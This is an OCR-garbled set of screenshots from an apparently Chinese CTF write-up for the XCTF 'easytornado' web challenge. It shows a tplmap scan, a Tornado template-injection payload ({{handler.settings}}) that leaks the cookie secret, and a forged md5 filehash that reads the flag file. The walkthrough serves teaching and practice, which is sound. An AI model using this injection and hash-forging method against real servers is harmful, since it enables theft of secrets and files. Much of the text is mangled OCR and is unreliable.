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220.249.52.133:43906/ X

€ (D 220.249.52.133:43906

¢ QgF e ¥ A0 & g oaE @ =
lDl = @ SQL- XSS- Encryption- Encoding= Other-

Load URL | http://220.249.52.133:43906/file?filename=/hints.txt&filehash=6904defb7585a6¢7639327c7818bb030
Split URL

Y]

Execute

[] Enable Post data [ ] Enable Referrer

[flag.txt
/welcome.txt
/hints.txt

© 220.249.52.133:43906/file?filename=/flag.txt&filehash=549098c06a80776ea3ff069647a12cde

c QgF wB ¥ A9 & & mmtE @ =
INT v =& SQu- XSS+ Encryption- Encoding- Other-
a Load URL http://220.249.52.133:43906/file?filename=/hints. txt&filehash=6904defb7585a6c7639327c7818bb030 -
#  splitURL +
@ Execute

[] Enable Post data [_| Enable Referrer
/flag.txt

flag in /fllllNNINag

flag in Alllllag



220.249.52.133:43906/file?file X

® 220.249.52.133:43906/file?filename=/welcome.txt&filehash=6ec4453d769b43af940c5c439f65/924
lDl = @ SQL- XSS- Encryption- Encoding= Other-
Load URL

¢ QgEE

http://220.249.52.133:43906/file?filename =/hints.txt&filehash=6904defb7585a67639327¢7818bb030
Split URL

Y]

Execute

[] Enable Post data [ ] Enable Referrer
/welcome. txt
render

220.249.52.133:43906/file?file X

® 220.249.52.133:43906/file?filename=/hints.txt&filehash=6904defb7585a6¢7639327¢7818bb030
INT v =& SQu- XSS+ Encryption- Encoding- Other-

¢ Q@F
Load URL

wiBe ¥ A& 9 & g ommtE @ =

http://220.249.52.133:43906/file?filename =/hints txt&filehash=6904defb7585a67639327c7818bb030
Split URL

=g

Execute

[ Enable Post data [_| Enable Referrer

/hints.txt

md5(cookie secret+md5(filename))

md5(cookie_secret+rmd5(filename))



HAERNAE 1, flagE==/fllllllag==4
MaBA=AEERMAN

220.249.52.133:43906/error?r X

| @ 220.249.52.133:43906/error?msg=Error ¢ QEE "B ¥ A9 2 g B @ =
INT ~ = @ SQL- XSS+ Encryption- Encoding~ Other-

@ Load URL | http://220.249.52.133:43906/file?filename=/fllllIlIlagfilehash=6904defb7585a6¢7639327c7818bb030
% splitURL
1) Execute

[] Enable Post data [ ] Enable Referrer

Error

5 1) H Flerror

220.249.52.133:43906/error?r X

() 220.249.52.133:43906/error?msg =123 v & Q@x wiB ¥ A& 9 & g zmRE @ =
INT ~ = & SQLv XSS+ Encryption= Encodings Otherr

@l Load URL | http://220.249.52.133:43906/errortmsg=123|
% split URL
'\_;) Execute

[] Enable Post data [ | Enable Referrer
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root@kali: ~/tplmap @ e O

M(F) #mEB(E) EB(V) HEE=R(S) L&UR(T) FBhH)

[+] Slim plugin is testing rendering with tag '"#{*}"'
[+] Slim plugin is testing blind injection

[+] Erb plugin is testing rendering with tag '"#{*}"'
[+] Erb plugin is testing blind injection

[+] Pug plugin is testing rendering with tag '\n= *\n'
[+] Pug plugin is testing blind injection

[+] Munjucks plugin is testing rendering with tag '{{*}}'
[+] NMunjucks plugin is testing blind injection

[+] Dot plugin is testing rendering with tag '{{=*}}'
[+] Dot plugin is testing blind injection

[+] Dust plugin is testing rendering

[+] Dust plugin is testing blind injection

[+] Marko plugin is testing rendering with tag '${*}'
[+] Marko plugin is testing blind injection

[+] Javascript plugin is testing rendering with tag '#*'
[+] Javascript plugin is testing blind injection

[+] Php plugin is testing rendering with tag '*'

[+] Php plugin is testing blind injection

[+] Ruby plugin is testing rendering with tag '"#{*}"'
[+] Ruby plugin is testing blind injection

[+] Ejs plugin is testing rendering with tag '*'

[+] Ejs plugin is testing blind injection

[!][checks] Tested parameters appear to be not injectable.
root@kali:~/tplmap# |

error?’msg={{ settings}}

fETornado &, R 1% B 7] LAiE g handler.settings i 17 .
A% cookie

- O X
220.249.52.133:43906/error?n X http://220.249.52.133:43906/ X ‘ +

€ (D 220.249.52.133:43906/error?msg={{handler.settings}} ¢ QeEE wB ¥ & O & g mHRE @

INT ~ = @ SQL- XSS+ Encryption- Encoding~ Other-

@ Lload URL | http//220.249.52.133:43906/error?msg={{handler.settings)}
% split URL +

' Execute

[ Enable Post data [ | Enable Referrer

{'autoreload’: True, 'compiled template cache’: False, 'cookie secret': 'd23e5fe0-4e32-48fb-
b7f1-7a7cdeef8a81'}

IXIHERATAE R T A B hint
ff Fmd5R fthash (&

md5(cookie_secret+tmd5(filename))




220.249.52.133:43906/error?n X = 220.249.52.133:43906/file?filc X H MDSFELEINES - MDSHNE | X ‘ +
€ @ 220.249.52.133:43906/file?filename=/flllllllIINlag&filehash=897d228a9e86c02235ec6ea35a8f55a1

INT ~ = @ SQL- XSS+ Encryption- Encoding~ Other-

¢ Qg wB ¥ & O &

& zmnE @

@l Load URL http://220.249.52.133:43906/ﬁ|e?fi|ename:/ﬂ|||||||||||ag&ﬁ|ehash:897d22869586£02235e56ea3538{5561'
% splitURL
;

Execute

[ Enable Post data [ | Enable Referrer

FaillINININETe]
flag{3f39aea39db345769397ae895edb9c70}
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FHRMDSIIERRE T B, i 320, 16(ANE, iR MDEATSRREINE

d23ebfe0-4e32-48fb-b7f1-
7arcdeef8a813bfof6ef685abddB8defadabib41a03a
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flag{3f39aea39db345769397ae895edb9c70}

B97D22B8A9EB6C02235ECE6EA35ABF55A1







	攻防世界web进阶区easytornado详解
	攻防世界web进阶区easytornado详解

	题目
	详解


